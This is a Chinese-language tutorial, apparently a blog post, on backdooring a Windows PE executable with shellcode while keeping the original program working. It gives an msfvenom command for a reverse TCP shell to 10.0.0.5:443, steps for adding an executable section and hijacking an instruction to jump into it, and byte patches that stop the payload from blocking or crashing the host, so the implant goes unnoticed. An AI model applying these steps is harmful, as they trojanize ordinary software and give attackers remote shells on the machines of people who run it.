在不影响程序使用的情况下添加shellcode
参考
在文章Backdooring PE Files with Shellcode中介绍了一种在正常程序中注入shellcode的方式,让程序以前的逻辑照常能够正常运行,下面复现一下并解决几个小问题。
示例程序代码
这里直接编译一个32位的HelloWorld程序为例:
#include <stdio.h>
int main()
{
puts("Hello World!");
return 0;
}
编译后的exe,可以使用CFF Explorer查看相关信息。
大致步骤
少绕弯子,补充一下通用步骤:
- 利用msf生成一个payload,保存成一个bin文件,命令:
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C - 通过010Editor等编辑工具在bin文件的前后各插入20-40个字节,以90填充
- 在目标exe中添加一个新的代码段,将bin的内容导入,并设置可读、可写、可执行、包含代码等属性标志
- 更新header大小以及重建PE头
- 使用x32dbg调试exe并查看新加代码段的基址,例如是
0x004A0000 - 一个5字节长度的指令,例如:
call 0x00471B50,覆盖成jmp 0x004A0000 - 记住下一条指令的位置,例如:
0x00491EF8,后面恢复程序正常逻辑的时候要用 - 编辑代码段开头,用
pushad和pushfd指令覆盖开头2个字节 - 调试exe,观察
pushfd之后的ESP值,例如0x010FFDBC,以及shellcode执行结束时ESP值,例如0x010FFBB8,发现少了0x204 - 为了能够恢复之前的寄存器状态,在shellcode最后追加指令
add esp, 0x204 - 追加
popfd和popad指令,和push顺序相反 - 将第6步中覆盖前的指令追加到
popad之后 - 最后,恢复之前的运行逻辑,追加
jmp 0x00491EF8指令,跳到第7步记录位置
问题1:到12和13步总是不能跳到正确的位置
注意三点:
- 第6步和第7步获取的值要保证当前调试的PE头大小是和最终的PE头大小是一致的,检查第4步操作
- 每次调试exe的时候,基址可能会发生变化,所以复制的指令只能用于修改当前调式实例
- 在复制jmp指令的机器码的时候,注意不要和目标跳转位置太近,会复制成短地址的指令
问题2:保证步骤没问题之后,程序仍然不能恢复正常逻辑
通过调试将发生阻塞的操作进行nop,例如WaitForSingleObject,msf的payload需要将4e 56 46 ff替换成80 56 80 ff
原来给WaitForSingleObject传的参数是-1,会阻塞线程,想办法改成0就行,这里将dec esi操作nop掉了,push esi就是0

问题3:在监听端失联的情况下,程序长时间阻塞后程序终止
应该是检查服务端失联的情况下直接终止程序了,通过调试找到终止位置nop掉即可

问题4:在哪找代码段的基址
除了参考文章中提到的通过文件偏移计算,还可以直接利用x32dbg的内存布局直接查看

最后效果
省略。。。
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